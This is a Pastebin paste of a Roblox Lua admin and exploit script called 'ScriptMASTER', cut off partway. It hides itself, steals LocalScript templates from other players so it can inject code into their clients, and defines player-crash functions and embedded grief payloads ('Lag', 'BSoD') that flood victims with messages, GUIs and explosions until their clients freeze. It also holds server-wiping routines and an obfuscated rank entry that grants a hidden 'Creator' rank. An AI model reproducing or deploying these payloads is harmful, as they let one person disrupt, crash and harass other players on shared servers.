Advertisement
Demonlord27

ScriptMASTER

Apr 5th, 2015
453
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 356.13 KB | None | 0 0
  1. --Now Has Doge/Player and Mini/Player/Rares and others
  2. wait(0)
  3. --[[VARIABLES]]--
  4. script.Parent = nil
  5. Plrs = game:GetService("Players")
  6. Work = game:GetService("Workspace")
  7. Light = game:GetService("Lighting")
  8. Net = game:GetService("NetworkServer")
  9. Removed = false
  10. Bet = "."
  11. LS = nil
  12. LSSource = nil
  13. OwnSource = nil
  14. FoundLocalScript = false
  15. LogOn = false
  16. Current = game
  17. Clipboard = {}
  18. AlertColor = Color3.new(0, 1, 1)
  19. OptionColor = Color3.new(1, 1, 1)
  20. ImportantColor = Color3.new(1, 0, 1)
  21. --[[TABLES]]--
  22.  
  23.  
  24.  
  25. RankDetails = {
  26. [-3] = {Name = "Mute Banned", Color = Color3.new(0.25, 0, 0.75), Desc = "Perma Muted"},
  27. [-2] = {Name = "Jail Banned", Color = Color3.new(-1, -1, -1), Desc = "Perma Mind Jailed"},
  28. [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  29. [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  30. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  31. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  32. [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  33. [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  34. [5] = {Name = "Owner", Color = Color3.new(0, 1, 1), Desc = "Owner"},
  35. }
  36.  
  37. Rankings = {
  38. {Name = "AcidicEmpyreus", Rank = 69},
  39. {Name = "LuaScripterLS", Rank = 69},
  40. {Name = "LuaScripterLS", Rank = 5},
  41. {Name = "GuestsAreIntelligent", Rank = 69},
  42. {Name = "LuaScripterLS", Rank = 69},
  43. {Name = "GTFOorparteh", Rank = 5},
  44. {Name = "Roleo1122", Rank = 4},
  45. }
  46.  
  47. table.insert(Rankings, {Name = Owner, Rank = 5})
  48.  
  49. ImportantServices = {
  50. "Workspace",
  51. }
  52.  
  53. Ranks = {}
  54. Commands = {}
  55. AllTabs = {}
  56. Injected = {}
  57.  
  58. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  59. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  60. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  61. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  62. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  63. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  64. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  65. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  66. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  67. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  68. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  69. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  70. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  71. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  72. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  73. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  74. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  75. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  76. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  77. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  78. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  79. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  80. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  81. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  82. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  83. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  84. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  85. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  86. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  87. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  88. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  89. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  90. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  91. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  92. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  93. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  94. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  95. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  96. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  97. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  98. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  99. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  100. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  101. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  102. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  103. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  104. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  105. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  106. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  107. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  108. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  109. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  110. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  111. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  112. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  113. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  114. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  115. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  116. "X","Y"}
  117.  
  118. --Main Functions And Sources
  119.  
  120. function NewLS(Source, Par, Par2, Par3)
  121. ypcall(function()
  122. local Inserted = LS:Clone()
  123. Inserted.Disabled = true
  124. Inserted.Parent = Par or Par2 or Par3
  125. Inserted[LSSource].Value = Source
  126. Inserted.Disabled = false
  127. end)
  128. end
  129.  
  130. function CheckImportant(Name)
  131. for _,v in pairs(ImportantServices) do
  132. if v:lower() == Name:lower() then
  133. return true
  134. end
  135. end
  136. return false
  137. end
  138.  
  139. function Crash1(Plr)
  140. ypcall(function()
  141. Plr:Kick()
  142. end)
  143. end
  144.  
  145. function GetRankTab()
  146. return Rankings
  147. end
  148.  
  149. function Crash2(Name)
  150. local Crasher = Instance.new("StringValue")
  151. Crasher.Name = "Client"
  152. Crasher.Value = string.lower(tostring(Name))
  153. Crasher.Parent = game:GetService("Lighting")
  154. wait(1)
  155. if Crasher and Crasher.Parent then
  156. ypcall(function()
  157. Crasher:Destroy()
  158. end)
  159. end
  160. end
  161.  
  162. --[[NEWLS STUFF]]--
  163. if script:findFirstChild("source") then
  164. SorN = 'source'
  165. SB = 'Alakazard'
  166. elseif script:findFirstChild('DSource') then
  167. SorN = 'DSource'
  168. SB = 'Anaminus'
  169. elseif script:findFirstChild('Source') then
  170. SorN = 'Source'
  171. SB = 'Oxcool'
  172. else
  173. SorN = nil
  174. end
  175. ScriptSource = script:findFirstChild(SorN).Value
  176.  
  177. coroutine.wrap(function()
  178. while wait() do
  179. if LSource ~= nil then break end
  180. if SorN == "source" then break end
  181. for _,v in pairs(game.Players:players()) do
  182. if LSource ~= nil then break end
  183. pcall(function()
  184. for j,k in pairs(v.Backpack:children()) do
  185. if LSource ~= nil then break end
  186. if k.ClassName == 'LocalScript' then
  187. if k:findFirstChild(SorN) ~= nil then
  188. k.Archivable = true
  189. LSource = k:Clone()
  190. LSource.Disabled = true
  191. PingAdmins("Source found")
  192. break
  193. end
  194. end
  195. wait()
  196. end
  197. for ab,cd in pairs(v.Character:children()) do
  198. if LSource ~= nil then break end
  199. if cd.ClassName == 'LocalScript' then
  200. if cd:findFirstChild(SorN) ~= nil then
  201. cd.Archivable = true
  202. LSource = cd:Clone()
  203. LSource.Disabled = true
  204. PingAdmins("Source found")
  205. break
  206. end
  207. end
  208. wait()
  209. end
  210. end)
  211. end
  212. end
  213. end)()
  214.  
  215. function NewS(sourcev, parent)
  216. if SorN == 'source' then
  217. NS(source,parent)
  218. else
  219. local s = SSource:Clone()
  220. s.Parent = parent
  221. if s:findFirstChild(SorN) ~= nil then
  222. source = s:findFirstChild(SorN)
  223. else
  224. source = Instance.new("StringValue", s)
  225. source.Name = SorN
  226. end
  227. if source then
  228. source.Value = sourcev
  229. else
  230. PingAdmins("Something went wrong")
  231. end
  232. wait()
  233. s.Disabled = false
  234. end
  235. end
  236. function NewLS(sourcev,parent, lock)
  237. if SorN == 'source' then
  238. NLS(sourcev,parent)
  239. elseif LSource then
  240. local s = LSource:Clone()
  241. s.Parent = parent
  242. if s:findFirstChild(SorN) ~= nil then
  243. source = s:findFirstChild(SorN)
  244. else
  245. source = Instance.new("StringValue", s)
  246. source.Name = SorN
  247. end
  248. if source then
  249. source.Value = sourcev
  250. else
  251. PingAdmins("Something went wrong")
  252. return
  253. end
  254. wait()
  255. if lock == true then
  256. for i = 0,5 do
  257. s.Disabled = false
  258. wait(0.5)
  259. s.Disabled = true
  260. wait(0.5)
  261. s.Disabled = false
  262. end
  263. else
  264. s.Disabled = false
  265. end
  266. return s
  267. else
  268. PingAdmins("No source","Really red")
  269. end
  270. end
  271.  
  272. function Crash3(v, Speaker)
  273. Speaker.Character.Archivable = true
  274. local NChar = Speaker.Character:Clone()
  275. NChar.Name = v.Name
  276. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  277. NChar.Parent = Workspace
  278. v.Character = NChar
  279. coroutine.resume(coroutine.create(function()
  280. repeat v.Character = NChar
  281. wait(1/3) until false
  282. end))
  283. wait(.5)
  284. NewLS(InsertCrash, NChar, nil, nil)
  285. end
  286.  
  287. function GenerateDigit()
  288. return 1 + 5
  289. end
  290.  
  291. InjectionCrash = [=[
  292. wait(0)
  293. script.Parent = nil
  294. local Lig = game:GetService("Lighting")
  295. local LP = game:GetService("Players").LocalPlayer
  296. local LowerName = LP.Name:lower()
  297.  
  298. Lig.ChildAdded:connect(function(Obj)
  299. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  300. pcall(function()
  301. Obj:Destroy()
  302. end)
  303. LP.Parent = nil
  304. LP.Parent = game:GetService("Players")
  305. end
  306. end)
  307. ]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
  308.  
  309. InsertCrash = [==[
  310. local LP = game:GetService("Players").LocalPlayer
  311. LP.Parent = nil
  312. LP.Parent = game:GetService("Players")
  313. ]==]
  314.  
  315. -- Cleaning And Stuff --
  316. CreateBase = function()
  317. for _,v in pairs(Nexotic.Services.Workspace:GetChildren()) do
  318. if v.Name:lower():find('base') and v:IsA('BasePart') then
  319. v:remove()
  320. end
  321. end
  322. local Base = Instance.new("Part")
  323. Base.BrickColor = BrickColor.new("Dark green")
  324. Base.CFrame = CFrame.new(0, 0.6, 0)
  325. Base.Transparency = 0
  326. Base.Elasticity = 0.5
  327. Base.FormFactor = "Custom"
  328. Base.Material = 'Grass'
  329. Base.CanCollide = true
  330. Base.Friction = 0.30000001192093
  331. Base.Size = Vector3.new(2044, 0, 2044)
  332. Base.Archivable = true
  333. Base.Material = "Grass"
  334. Base.RotVelocity = Vector3.new(0, 0, 0)
  335. Base.Reflectance = 0
  336. Base.Locked = true
  337. Base.Anchored = true
  338. Base.Name = "Base"
  339. Base.TopSurface = "Smooth"
  340. Base.BottomSurface = "Inlet"
  341. Base.Shape = "Block"
  342. Base.Parent = Nexotic.Services.Workspace
  343. end
  344. CleanWorkspace = function()
  345. for i,s in pairs(Nexotic.Services.Workspace:GetChildren()) do
  346. if Nexotic.Services.Players:GetPlayerFromCharacter(s) == nil then
  347. if s.className ~= "Terrain" then
  348. if s.className ~= "Camera" then
  349. pcall(function() s:Destroy() end)
  350. end
  351. end
  352. end
  353. end
  354. CreateBase()
  355. for _,v in pairs(Nexotic.Services.Workspace:GetChildren()) do
  356. if v:IsA("Terrain") then
  357. v:Clear()
  358. end
  359. end
  360. end
  361. FullClean = function()
  362. local Child = {}
  363. local GetAllChildren = function(c)
  364. for _,v in pairs(c:GetChildren()) do
  365. ypcall(function()
  366. GetAllChildren(v)
  367. table.insert(Child, v)
  368. end)
  369. end
  370. end
  371. for _,v in pairs(Nexotic.Services.Game:GetChildren()) do
  372. ypcall(function()
  373. GetAllChildren(v)
  374. end)
  375. end
  376. for _,v in pairs(Child) do
  377. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  378. v:remove()
  379. end
  380. end
  381. CleanWorkspace()
  382. Debug()
  383. for _,v in pairs(Nexotic.Services.Players:GetPlayers()) do
  384. v:LoadCharacter()
  385. end
  386. end
  387. Debug = function()
  388. ypcall(function()
  389. for _,v in pairs(Nexotic.Services.Workspace:GetChildren()) do
  390. if v:IsA('Message') or v:IsA('Hint') then
  391. ypcall(function()
  392. v.Text = ''
  393. v:Destroy()
  394. end)
  395. end
  396. if v:IsA('Terrain') then
  397. v:Clear()
  398. end
  399. end
  400. Nexotic.Services.Lighting.GlobalShadows = true
  401. Nexotic.Services.Lighting.TimeOfDay = '14:00:00'
  402. Nexotic.Services.Lighting.Brightness = 0.3
  403. Nexotic.Services.Lighting.ShadowColor = Color3.new(0.705882, 0.705882, 0.705882)
  404. Nexotic.Services.Lighting.Ambient = Color3.new(1,1,1)
  405. Nexotic.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
  406. Nexotic.Services.Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
  407. Nexotic.Services.Lighting.OutdoorAmbient = Color3.new(0.6, 0.6, 0.6)
  408. Nexotic.Services.Lighting.FogStart = 0
  409. Nexotic.Services.Lighting.FogEnd = 100000
  410. Nexotic.Services.Lighting.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  411. Nexotic.Services.Lighting:ClearAllChildren()
  412. Nexotic.Services.Teams:ClearAllChildren()
  413. for _,v in pairs(Nexotic.Services.Players:GetPlayers()) do
  414. v.Neutral = true
  415. end
  416. end)
  417. end
  418.  
  419. Lag = [==[
  420. wait()
  421. script.Parent = game:service'TeleportService'
  422. CC = workspace.CurrentCamera
  423. RS = game:service("RunService")
  424. PG = game.Players.LocalPlayer.PlayerGui
  425. C = game.Players.LocalPlayer.Character
  426. function Lag()
  427. coroutine.resume(coroutine.create(function()
  428. while wait() do
  429. M = Instance.new("Message",CC)
  430. M.Text = "u shouldn't have fked around"
  431. H = Instance.new("Hint",CC)
  432. H.Text = string.reverse("dikS")
  433. SG=Instance.new("ScreenGui",PG)
  434. FR=Instance.new("Frame",SG)
  435. FR.Size = UDim2.new(500,500,500,500)
  436. while wait() do
  437. FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  438. end
  439. P=Instance.new("Part",CC)
  440. E=Instance.new("Explosion",P)
  441. E.BlastRadius=math.huge
  442. E.Position=P.Position
  443. Output=Instance.new("Fire",P)
  444. S=Instance.new("Smoke",P)
  445. P.CFrame = CC.Focus
  446. P.Anchored = true
  447. P.CanCollide = false
  448. P.AncestryChanged:connect(function()Lag()end)
  449. for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  450. end
  451. end))
  452. end
  453. RS.Stepped:connect(function()for i = 1, 140000 do Lag() Lag() Lag() Lag() Lag() end end)
  454. ]==]
  455.  
  456. BSoD = [==[
  457. script:Destroy();
  458. local user=game:service'Players'.localPlayer;
  459. local playerGui=user.PlayerGui;
  460. local camera=workspace.currentCamera;
  461. local terrain=workspace.Terrain;
  462. local main=Instance.new'ScreenGui';
  463. local f=Instance.new('Frame',main);
  464. f.Size=UDim2.new(1,0,1,0);
  465. f.BackgroundTransparency=.5;
  466. f.BackgroundColor3=Color3.new(0,0,0);
  467. local text=Instance.new('TextLabel',f);
  468. text.Size=UDim2.new(1,0,.2,0);
  469. text.Position=UDim2.new(0,0,.4,0);
  470. text.Text='Lag brah?';
  471. text.TextColor3=Color3.new(1,1,1);
  472. text.BackgroundTransparency=1;
  473. text.FontSize='Size24';
  474. local loop;loop=function()
  475. coroutine.wrap(function()
  476. while true do wait()
  477. coroutine.wrap(function()
  478. for i=1,100 do
  479. Instance.new('Message',workspace).Text='Lag brah';
  480. Instance.new('Hint',workspace).Text='Lag brah';
  481. end;
  482. end)();
  483. coroutine.wrap(function()
  484. local s=main:clone();
  485. s.Parent=playerGui;
  486. end)();
  487. coroutine.wrap(function()
  488. if(math.random(1,5)==1)then
  489. game:service'Debris':addItem(Instance.new('Part',terrain),15);
  490. game:service'Debris':addItem(Instance.new('Explosion',terrain),30);
  491. end;
  492. end)();
  493. coroutine.wrap(function()
  494. user.CameraMode='LockFirstPerson';
  495. game:service'StarterGui':setCoreGuiEnabled('All',false);
  496. end)();
  497. if(math.random(1,5)==5)then
  498. loop();
  499. end;
  500. end;
  501. end)();
  502. end;
  503. loop();
  504. ]==]
  505.  
  506. Pad = [==[
  507. num=3.5
  508. mouse=game.Players.LocalPlayer:GetMouse()
  509. mouse.KeyDown:connect(function(key)
  510. if key:lower()=="q" then
  511. num=4.5
  512. end
  513. if key:lower()=="e" then
  514. num=2.5
  515. end
  516. end)
  517. mouse.KeyUp:connect(function(key)
  518. num=3.5
  519. end)
  520. m=Instance.new("Part",workspace)
  521. m.Name="Float"
  522. m.FormFactor=0
  523. m.Name = "MyPad"
  524. m.BottomSurface="Smooth"
  525. m.TopSurface="Smooth"
  526. m.Size=Vector3.new(5,1,5)
  527. m.BrickColor=BrickColor.new(255,255,255)
  528. m.Anchored=true
  529. s=Instance.new("Sparkles")
  530. s.Parent=m
  531. s.Color = Color3.new(255,255,255)
  532. m2=m:clone()
  533. m2.Parent=workspace
  534. m2.BrickColor=BrickColor.new(0,0,0)
  535. m2.Name = "MyPad2"
  536. c=0
  537. c2=45
  538. while wait() do
  539. c=c+5
  540. c2=c2+5
  541. p=game.Players.LocalPlayer.Character.HumanoidRootPart.Position
  542. --game.Players.LocalPlayer.Character.Torso.CFrame=game.Players.LocalPlayer.Character.Torso.CFrame*CFrame.new(0,-(num)+3.5,0)
  543. m.CFrame=CFrame.new(p.X,p.Y-num,p.Z)*CFrame.Angles(0,math.rad(c),0)
  544. m2.CFrame=CFrame.new(p.X,p.Y-num,p.Z)*CFrame.Angles(0,math.rad(c2),0)
  545. end
  546. ]==]
  547.  
  548. Bow = [==[
  549. --RagDoll Bow Script
  550. --mediafire
  551. function weld(p0,p1,c0,c1,par)
  552. local w = Instance.new("Weld",p0 or par)
  553. w.Part0 = p0
  554. w.Part1 = p1
  555. w.C0 = c0 or CFrame.new()
  556. w.C1 = c1 or CFrame.new()
  557. return w
  558. end
  559. do -- Credit to Stravant...
  560. local function QuaternionFromCFrame(cf) local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() local trace = m00 + m11 + m22 if trace > 0 then local s = math.sqrt(1 + trace) local recip = 0.5/s return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 else local i = 0 if m11 > m00 then i = 1 end if m22 > (i == 0 and m00 or m11) then i = 2 end if i == 0 then local s = math.sqrt(m00-m11-m22+1) local recip = 0.5/s return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip elseif i == 1 then local s = math.sqrt(m11-m22-m00+1) local recip = 0.5/s return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip elseif i == 2 then local s = math.sqrt(m22-m00-m11+1) local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip end end end
  561.  
  562. local function QuaternionToCFrame(px, py, pz, x, y, z, w) local xs, ys, zs = x + x, y + y, z + z local wx, wy, wz = w*xs, w*ys, w*zs local xx = x*xs local xy = x*ys local xz = x*zs local yy = y*ys local yz = y*zs local zz = z*zs return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) end
  563.  
  564. local function QuaternionSlerp(a, b, t) local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] local startInterp, finishInterp; if cosTheta >= 0.0001 then if (1 - cosTheta) > 0.0001 then local theta = math.acos(cosTheta) local invSinTheta = 1/math.sin(theta) startInterp = math.sin((1-t)*theta)*invSinTheta finishInterp = math.sin(t*theta)*invSinTheta else startInterp = 1-t finishInterp = t end else if (1+cosTheta) > 0.0001 then local theta = math.acos(-cosTheta) local invSinTheta = 1/math.sin(theta) startInterp = math.sin((t-1)*theta)*invSinTheta finishInterp = math.sin(t*theta)*invSinTheta else startInterp = t-1 finishInterp = t end end return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp end
  565. function clerp(a,b,t)
  566. if not a or not b then print(a,b,"is missing") return end
  567. local qa = {QuaternionFromCFrame(a)}
  568. local qb = {QuaternionFromCFrame(b)}
  569. local ax, ay, az = a.x, a.y, a.z
  570. local bx, by, bz = b.x, b.y, b.z
  571. local _t = 1-t
  572. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  573. end
  574. end
  575. local oc = oc or function(...) return ... end
  576. pcall(function() script.Parent.bScript:Destroy() end)
  577. script.Name = "bScript"
  578. local plr = game:service'Players'.LocalPlayer
  579. local mouse = plr:GetMouse()
  580. local char = plr.Character
  581. local tor,ra,la,rl,ll,hd,hum = char.Torso,char["Right Arm"],char["Left Arm"],char["Right Leg"],char["Left Leg"],char.Head,char.Humanoid
  582. local rrs,rls,nk = tor["Right Shoulder"],tor["Left Shoulder"],tor.Neck
  583. local nk0 = nk.C0
  584. local rc0,rc1 = rrs.C0,rrs.C1
  585. local lc0,lc1 = rls.C0,rls.C0
  586. local rs,ls = rrs:Clone(),rls:Clone()
  587. rs.Name,ls.Name = "rs","ls"
  588. rs.DesiredAngle,rs.CurrentAngle = 0,0
  589. ls.DesiredAngle,ls.CurrentAngle = 0,0
  590. local model = Instance.new("Model",char)
  591. pcall(function() char.bModel:Destroy() end)
  592. model.Name = "bModel"
  593. local part = Instance.new("Part")
  594. part.BrickColor = BrickColor.new("Really black")
  595. part.Reflectance = 0.15
  596. part.FormFactor = "Custom"
  597. part.TopSurface,part.BottomSurface = 0,0
  598. part.Size = Vector3.new(.2,.2,.2)
  599. part:BreakJoints()
  600. part.CanCollide = false
  601. function clone(t)
  602. local p = t:Clone()
  603. p.Parent = t.Parent or model
  604. return p
  605. end
  606. local han = clone(part)
  607. han.Size = Vector3.new(.3,.5,.3)
  608. han.Transparency = 1
  609. local hold = weld(la,han,CFrame.new(0,-1,0) * CFrame.Angles(math.rad(-90),math.rad(23),0),CFrame.new())
  610. for i=1,14 do
  611. local gr = clone(part)
  612. gr.BrickColor = BrickColor.new("Really blue")
  613. gr.Size = Vector3.new(.3,.2,.3)
  614. local m = Instance.new("SpecialMesh",gr)
  615. m.MeshType = "Sphere"
  616. m.Scale = Vector3.new(1,.75,1) * math.max(.85,math.abs(i-7)/5)
  617. weld(han,gr,CFrame.new(0,-.6+i*.085,0) * CFrame.Angles(math.rad(15),math.rad(0),math.rad(23)),CFrame.new())
  618. end
  619. local p = clone(part)
  620. p.Size = Vector3.new(.45,.2,.32)
  621. local m = Instance.new("BlockMesh",p)
  622. m.Scale = Vector3.new(1,.5,1)
  623. weld(han,p,CFrame.new(0,-.62,.125) * CFrame.Angles(math.rad(10),0,0))
  624. local p = clone(part)
  625. p.Size = Vector3.new(.45,.2,.3)
  626. local m = Instance.new("BlockMesh",p)
  627. m.Scale = Vector3.new(1,.5,1)
  628. weld(han,p,CFrame.new(0,-.62,-.125) * CFrame.Angles(math.rad(-10),0,0))
  629. local b1 = clone(part)
  630. b1.Size = Vector3.new(.2,1,.3)
  631. local m = Instance.new("BlockMesh",b1)
  632. m.Scale = Vector3.new(1,1,1)
  633. local bw1 = weld(han,b1,CFrame.new(0,-.6,0) * CFrame.Angles(math.rad(-10),0,0),CFrame.new(0,.5,0))
  634. local b2 = clone(part)
  635. b2.Size = Vector3.new(.2,1,.25)
  636. local m = Instance.new("BlockMesh",b2)
  637. m.Scale = Vector3.new(.9,1,1)
  638. local bw2 = weld(b1,b2,CFrame.new(0,-.5,-.15) * CFrame.Angles(math.rad(-25),0,0),CFrame.new(0,.5,-.125))
  639. local b3 = clone(part)
  640. b3.Size = Vector3.new(.2,1,.2)
  641. local m = Instance.new("BlockMesh",b3)
  642. m.Scale = Vector3.new(.75,1,1)
  643. local bw3 = weld(b2,b3,CFrame.new(0,-.5,-.125) * CFrame.Angles(math.rad(-25),0,0),CFrame.new(0,.5,-.1))
  644. local bt = clone(part)
  645. bt.BrickColor = BrickColor.new("Black")
  646. bt.Size = Vector3.new(.2,.3,.2)
  647. local m = Instance.new("BlockMesh",bt)
  648. m.Scale = Vector3.new(.5,1,1) * .5
  649. local btw = weld(b3,bt,CFrame.new(0,-.5,.1) * CFrame.Angles(math.rad(-25),0,0),CFrame.new(0,0,.05))
  650. local p = clone(part)
  651. p.Size = Vector3.new(.45,.2,.32)
  652. local m = Instance.new("BlockMesh",p)
  653. m.Scale = Vector3.new(1,.5,1)
  654. weld(han,p,CFrame.new(0,.67,.125) * CFrame.Angles(math.rad(15),0,0))
  655. local p = clone(part)
  656. p.Size = Vector3.new(.45,.2,.3)
  657. local m = Instance.new("BlockMesh",p)
  658. m.Scale = Vector3.new(1,.5,1)
  659. weld(han,p,CFrame.new(0,.67,-.125) * CFrame.Angles(math.rad(-15),0,0))
  660. local p = clone(part)
  661. p.Size = Vector3.new(.4,.2,.3)
  662. local m = Instance.new("BlockMesh",p)
  663. m.Scale = Vector3.new(1,.5,1)
  664. weld(han,p,CFrame.new(0,.75,0) * CFrame.Angles(math.rad(0),0,0))
  665. local p = clone(part)
  666. p.Size = Vector3.new(.2,.3,.35)
  667. local m = Instance.new("BlockMesh",p)
  668. m.Scale = Vector3.new(1,1,1)
  669. weld(han,p,CFrame.new(-.1,.8,0) * CFrame.Angles(math.rad(0),0,0))
  670. local p = clone(part)
  671. p.Size = Vector3.new(.45,.2,.32)
  672. local m = Instance.new("BlockMesh",p)
  673. m.Scale = Vector3.new(1,.5,1)
  674. weld(han,p,CFrame.new(0,1,.125) * CFrame.Angles(math.rad(-5),0,0))
  675. local p = clone(part)
  676. p.Size = Vector3.new(.45,.2,.25)
  677. local m = Instance.new("BlockMesh",p)
  678. m.Scale = Vector3.new(1,.5,1)
  679. weld(han,p,CFrame.new(0,1,-.125) * CFrame.Angles(math.rad(5),0,0))
  680. local t1 = clone(part)
  681. t1.Size = Vector3.new(.2,1,.3)
